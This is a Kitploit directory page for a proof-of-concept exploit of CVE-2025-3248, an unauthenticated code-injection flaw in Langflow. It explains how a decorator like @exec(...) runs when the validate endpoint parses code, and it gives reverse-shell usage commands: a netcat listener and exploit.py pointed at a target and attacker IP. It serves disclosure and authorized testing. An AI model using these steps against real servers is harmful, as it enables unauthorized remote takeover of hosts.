Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3248-Langflow-RCE — Proof-of-concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, demonstrating code injection via the /api/v1/validate/code endpoint. | Kitploit
Tools/GitHubGitHub/hideki233/cve-2025-3248-langflow-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubhideki233/cve-2025-3248-langflow-rce

CVE-2025-3248-Langflow-RCE

Proof-of-concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, demonstrating code injection via the /api/v1/validate/code endpoint.

View Repository
4752 months agoNot yet reviewed
Share

CVE-2025-3248 — Langflow Unauthenticated Remote Code Execution

Proof-of-Concept exploit for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow, an AI/LLM workflow-building platform.

  • Affected versions: Langflow < 1.3.0
  • Fixed in: 1.3.0
  • Vulnerability class: Unauthenticated RCE (CWE-94, Code Injection)
  • Status: Added to CISA's Known Exploited Vulnerabilities catalog after being observed exploited in the wild by botnets.

Root cause

Langflow exposes an endpoint, POST /api/v1/validate/code, meant to "validate" a snippet of Python code submitted by the UI (e.g. custom component code). Internally it parses and compiles the code with ast.parse() / compile() and reports back whether it's valid — with no authentication required.

The bug: Python evaluates decorator expressions at parse/compile time, before the decorated function is ever called. If the submitted "code to validate" contains a decorator like:

@exec("...malicious code...")
def test():
    pass

the exec(...) call runs the moment the code is parsed — validation never needs to actually invoke test(). Combined with no auth and no sandboxing, one unauthenticated HTTP request is enough to execute arbitrary commands on the host running Langflow.

Usage

  1. Start a listener on your machine:
    nc -lvnp 9001
    
  2. Run the PoC against a target:
    python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
    
  3. If the target is vulnerable, you'll get a shell on the listener.
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]

Requirements

pip install requests

Disclaimer

This code is provided for educational purposes and authorized security testing only (labs, CTFs, engagements with explicit written permission). Do not run this against systems you do not own or do not have explicit authorization to test. The author is not responsible for misuse.

References

  • Langflow Security Advisory GHSA-vwmf-pq79-vjvx
  • Horizon3.ai — Unsafe at Any Speed: Abusing Python Exec for Unauth RCE in Langflow AI
  • Keysight — CVE-2025-3248: Langflow Unauthenticated Code Validation
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    565
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    478
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    327
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    258
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    256

Explore all tools

Browse our collection of tools

View all tools →